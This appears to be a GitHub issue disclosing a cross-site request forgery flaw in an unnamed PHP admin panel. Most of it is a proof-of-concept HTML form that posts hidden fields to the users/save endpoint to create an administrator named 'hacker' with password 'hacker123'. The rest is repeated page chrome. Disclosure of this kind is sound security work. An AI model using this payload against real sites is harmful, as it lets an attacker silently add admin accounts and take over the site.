There is one CSRF vulnerability that can add the administrator account #1

NothingOnYouMoon · 2018-04-19T09:21:17Z

After the administrator logged in, open the following one page
one.html add a admin

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin/index.php/users/save" method="POST">
      <input type="hidden" name="userid" value="0" />
      <input type="hidden" name="username" value="hacker" />
      <input type="hidden" name="password" value="hacker123" />
      <input type="hidden" name="passwordconfirm" value="hacker123" />
      <input type="hidden" name="nickname" value="hacker" />
      <input type="hidden" name="save" value="?&#183;&#187;?&#138;&#160;?&#148;&#168;?&#136;&#183;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The text was updated successfully, but these errors were encountered:

NothingOnYouMoon changed the title ~~There is two CSRF vulnerability that can add the administrator account~~ There is one CSRF vulnerability that can add the administrator account Apr 19, 2018

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

There is one CSRF vulnerability that can add the administrator account #1

There is one CSRF vulnerability that can add the administrator account #1

NothingOnYouMoon commented Apr 19, 2018 •

edited

There is one CSRF vulnerability that can add the administrator account #1

There is one CSRF vulnerability that can add the administrator account #1

Comments

NothingOnYouMoon commented Apr 19, 2018 • edited

NothingOnYouMoon commented Apr 19, 2018 •

edited